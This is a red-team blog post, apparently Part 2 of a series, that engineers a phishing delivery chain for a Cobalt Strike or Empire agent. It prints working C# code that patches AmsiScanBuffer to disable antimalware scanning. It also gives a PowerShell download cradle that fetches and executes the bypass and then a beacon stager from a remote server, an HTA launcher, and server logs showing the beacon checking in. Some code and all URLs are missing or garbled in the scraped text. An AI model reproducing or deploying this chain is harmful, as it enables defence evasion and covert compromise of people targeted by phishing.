In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use 


 to make it available within the PowerShell session.

$Ref = (
«System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
public class AMSI
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static extern IntPtr LoadLibrary(string name);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the 


 function where it returns an 




 if something fails and 


 if it makes it to the end.

So in pseudo-code we can say something like 

execute bypass; if (bypass -eq "0") { execute stager }

. If 




, we naturally don’t do anything more.


To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

<span class="variable">$string</span> = <span class="string">'iex ((new-object net.webclient).downloadstring("")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("")) }'</span>

The final HTA is nice and small.

<span class="tag">&lt;<span class="name">script</span> <span class="attr">language</span>=<span class="string">"VBScript"</span>&gt;</span><span class="javascript">
    <span class="built_in">Function</span> var_func()
        Dim var_shell
    End <span class="built_in">Function</span>

</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>

Finally, we host the HTA and test it with 



The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin

10/31 11:22:44 visit from:
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1

10/31 11:22:44 visit from:
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1

10/31 11:22:44 visit from:
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.